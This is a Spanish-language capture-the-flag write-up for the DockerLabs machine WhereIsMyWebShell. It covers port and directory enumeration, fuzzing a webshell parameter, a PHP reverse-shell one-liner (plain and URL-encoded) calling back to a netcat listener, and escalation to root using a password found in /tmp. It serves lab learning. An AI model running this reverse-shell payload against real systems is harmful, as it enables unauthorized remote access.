Skip to content

WhereIsMyWebShell

This content is not available in your language yet.

En este artículo detallo el proceso de resolución del CTF WhereIsMyWebShell, una máquina virtual creada por El Pingüino de Mario. Se describen paso a paso las herramientas utilizadas y técnicas aplicadas para comprometer la máquina, desde el reconocimiento inicial hasta la obtención de acceso como superusuario.

  • Nombre: WhereIsMyWebShell
  • Autor: El Pingüino de Mario
  • Nivel de Dificultad: Fácil
  • Fecha de creación: 12/04/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el archivo:

    Ventana de terminal
    unzip WhereIsMyWebShell.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh WhereIsMyWebShell.tar

Al iniciar la máquina, se muestra directamente su dirección IP, por lo que no es necesario realizar un escaneo ARP.

IP image

Organizamos el entorno de trabajo:

Ventana de terminal
mkdir WhereIsMyWebShell
cd WhereIsMyWebShell
mkt # Crea: content, exploits, nmap, scripts

Realizamos un escaneo completo de puertos con nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Identificamos los servicios en ejecución en los puertos abiertos:

Ventana de terminal
nmap -sCV -p22,80 172.17.0.2 -oN targeted

Servicios

Enumeramos contenido del sitio web con gobuster:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Resultado Gobuster

Archivos identificados:

  • index.html: Página básica de una academia de inglés. index

  • warning.html: Contiene una advertencia y pista relacionada con una webshell. warning

  • shell.php: Una posible webshell.

Sabemos que la webshell está ubicada en http://172.17.0.2/shell.php. Para descubrir el parámetro vulnerable, utilizamos ffuf:

Ventana de terminal
ffuf -u "http://172.17.0.2/shell.php?FUZZ=test" \
-w /usr/share/seclists/Discovery/Web-Content/bup-parameter-names.txt \
-fs 0

Ffuf

El parámetro parameter resulta funcional. Probamos con comandos básicos:

shell

  1. Escuchamos con netcat en nuestra máquina atacante:

    Ventana de terminal
    nc -lvp 443
  2. Ejecutamos un payload en la webshell codificado por URL:

    php -r '$sock=fsockopen("172.17.0.1",443);exec("bash <&3 >&3 2>&3");'

    URL codificada:

    http://172.17.0.2/shell.php?parameter=php -r '%24sock%3Dfsockopen("172.17.0.1"%2C443)%3Bexec("bash <%263 >%263 2>%263")%3B'

Reverse shell activa

Con esto, obtenemos una reverse shell como el usuario www-data.

www-data

Exploramos el sistema y encontramos una pista en el directorio /tmp:

secret

El archivo contenía una contraseña válida para escalar privilegios.

Nos autenticamos como root:

Ventana de terminal
su

Root access

Ya tenemos acceso completo como superusuario:

Root

La máquina WhereIsMyWebShell es una excelente práctica para reforzar conocimientos sobre explotación web, enumeración de parámetros HTTP, ejecución remota de comandos y escalada de privilegios mediante pistas ocultas. A través de herramientas como nmap, gobuster, ffuf, netcat y técnicas de reverse shell, logramos comprometer completamente el sistema.